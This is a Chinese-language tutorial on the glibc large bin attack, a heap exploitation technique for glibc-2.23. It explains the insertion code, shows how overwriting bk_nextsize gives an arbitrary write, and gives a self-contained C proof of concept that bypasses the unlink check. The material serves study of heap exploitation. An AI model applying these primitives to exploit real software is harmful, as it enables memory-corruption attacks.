large bin的一个漏洞
字数 1251 2025-08-29 08:32:24
Large Bin 漏洞分析与利用教学文档
一、漏洞背景与基础知识
1.1 malloc_chunk 结构
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* 前一个chunk的大小(如果前一个chunk是空闲的) */
INTERNAL_SIZE_T size; /* 包含开销的字节大小 */
struct malloc_chunk* fd; /* 双向链接 - 仅在空闲时使用 */
struct malloc_chunk* bk; /* 双向链接 - 仅在空闲时使用 */
/* 仅用于large blocks: 指向下一个更大尺寸的指针 */
struct malloc_chunk* fd_nextsize;
struct malloc_chunk* bk_nextsize;
};
关键字段说明:
fd_nextsize和bk_nextsize:仅用于较大的chunk(large chunk)fd_nextsize:指向前一个与当前chunk大小不同的第一个空闲块(不包含bin的头指针)bk_nextsize:指向后一个与当前chunk大小不同的第一个空闲块(不包含bin的头指针)
- 空闲的large chunk在fd遍历顺序中按由大到小的顺序排列
1.2 Large Bin 管理机制
- ptmalloc使用bins管理空闲chunk
- main_arena中有多个bin
- 每个large bin存放一定范围内的chunk
- 其中的chunk按fd指针顺序从大到小排列
- 相同大小的chunk按最近使用顺序排列
- 物理地址相邻的两个chunk不能在一起
二、漏洞原理分析
2.1 Large Bin 插入过程
当分配一个chunk时,会首先检查unsort bin,如果没有合适的chunk,就将unsort bin中的chunk脱链后加入到对应大小的bin中。
关键代码分析:
// 如果不是small bin,就放到large bin中
if (!in_smallbin_range(size)) {
victim_index = largebin_index(size);
bck = bin_at(av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck) {
size |= PREV_INUSE;
if ((unsigned long)(size) < (unsigned long)(bck->bk->size)) {
// 处理比最小chunk还小的情况
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
} else {
// 正常插入逻辑
while ((unsigned long)size < fwd->size) {
fwd = fwd->fd_nextsize;
}
if ((unsigned long)size == (unsigned long)fwd->size) {
// 相同大小插入到第二个位置
fwd = fwd->fd;
} else {
// 不同大小插入
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
} else {
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin(av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
}
2.2 漏洞触发点
关键操作:
victim->bk_nextsize = fwd->bk_nextsize;fwd->bk_nextsize = victim;victim->bk_nextsize->fd_nextsize = victim;
合并效果:
fwd->bk_nextsize->fd_nextsize = victimfwd->bk = victim
当large bin中只存在一个chunk时,通过堆溢出修改bk_nextsize和bk字段,可以实现任意地址写。
三、漏洞利用方法
3.1 错误实例分析
#include <stdio.h>
#include <stdlib.h>
int main() {
long long x = 0;
char *p, *q, *r, *s;
p = malloc(0x500); // 防止合并
malloc(0);
q = malloc(0x510); // 防止合并
malloc(0);
// 因为Large bin的遍历顺序是FIFO,所以下面的顺序不能反过来
free(p);
free(q); // p指向的chunk被放入了largebin
r = malloc(0x510); // q
// q指向的chunk被放入unsortedbin
free(r);
// fwd->bk_nextsize->fd_nextsize=victim
*(void**)(p - 16 + 40) = &x - 4;
s = malloc(0);
return 0;
}
问题:无法通过unlink的双向链表完整性检查:
if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect(P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr("corrupted double-linked list (not small)");
3.2 正确绕过方法
在执行双向链表完整性检查前有一个判断:
if (!in_smallbin_range(chunksize_nomask(P))
&& __builtin_expect(P->fd_nextsize != NULL, 0)) {
// 检查代码
}
只要构造的chunk的fd_nextsize为NULL即可绕过检查。
3.3 正确利用实例
#include <stdio.h>
#include <stdlib.h>
int main() {
long long x = 0;
char *p, *q, *r, *s;
p = malloc(0x500); // 防止合并
malloc(0);
q = malloc(0x510); // 防止合并
malloc(0);
// 因为Large bin的遍历顺序是FIFO,所以下面的顺序不能反过来
free(p);
free(q); // p指向的chunk被放入了largebin
r = malloc(0x510); // q
// q指向的chunk被放入unsortedbin
free(r);
fprintf(stderr, "x : %lld\n", x);
// P->fd_nextsize=NULL
*(void**)(p - 16 + 32) = NULL;
// P->bk_nextsize->fd_nextsize=victim
*(void**)(p - 16 + 40) = &x - 4;
s = malloc(0);
fprintf(stderr, "x : %lld\n", x);
return 0;
}
运行结果:
x : 0
x : 20276528
四、关键点总结
- Large Bin结构:理解large bin中chunk的排列方式和
fd_nextsize/bk_nextsize指针的作用 - 插入逻辑:掌握large bin插入新chunk时的指针操作流程
- 漏洞触发:利用堆溢出修改
bk_nextsize和bk字段实现任意地址写 - 绕过检查:通过设置
fd_nextsize为NULL来绕过unlink的双向链表完整性检查 - 利用条件:large bin中需要只存在一个chunk时才能有效利用此漏洞
五、实验环境与注意事项
- 实验环境:glibc-2.23
- 对于glibc-2.26及以上版本,需要先绕过tcache机制
- 分配chunk时要注意防止合并
- Large bin的遍历顺序是FIFO,操作顺序不能反过来
- 调试是理解堆漏洞的关键手段